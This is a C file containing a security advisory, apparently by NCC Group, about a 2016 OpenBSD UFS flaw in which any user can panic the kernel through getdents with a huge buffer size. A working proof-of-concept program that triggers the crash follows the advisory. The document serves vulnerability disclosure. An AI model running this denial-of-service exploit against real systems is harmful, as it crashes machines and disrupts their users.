#ifdef BUG_WRITEUP //---------------------------------------------------
Any user can panic the kernel with the getdents call with a large buffer size
Impact:
Any user can panic the kernel if they can access any directories
of a UFS filesystem.
Description:
When processing the getdents system call, the UFS filesystem
allocates a buffer with a size provided by the caller. This
size can be any value less than INT_MAX, and need not correspond
to an actual buffer held by the caller. By providing an overly
large size, a caller can trigger a panic in the kernel
of "malloc: allocation too large" or "out of space in kmem_map" .
This issue is triggered by an allocation in ufs_readdir():
diskbuf = malloc(readcnt, M_TEMP, M_WAITOK);
here readcnt originates with the buffer length to the getdents
call, which was placed in the uio_resid field:
count = uio->uio_resid;
entries = (uio->uio_offset + count) & (DIRBLKSIZ - 1);
if (count <= entries)
return (EINVAL);
readcnt = max(count, 64*1024) - entries;
This condition can be triggered by any user who can read a
directory on a UFS filesystem.
Reproduction:
Run the attached ufs_getdents_panic.c program. It will pass call
getdents with a NULL buffer and a large size, that will trigger
a panic such as 'panic: malloc: allocation too large, type = 127,
size = 1879048192'. NCC Group was able to reproduce this issue
on OpenBSD 5.9 release running amd64.
Recommendation:
Limit the readcnt in ufs_readdir() to an ammount that is
reasonable to allow an allocation for .
Reported: 2016-07-12
Fixed: http:
http:
http:
#endif // BUG_WRITEUP ---------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <dirent.h>
void xperror( int cond, char *msg)
{
if (cond) {
perror(msg);
exit(1);
}
}
int main( int argc, char **argv)
{
int fd, x;
fd = open( "/" , O_RDONLY);
xperror(fd == -1, "/" );
x = getdents(fd, 0, 0x70000000);
xperror(x == -1, "getdents" );
printf( "no crash!\n" );
return 0;
}
|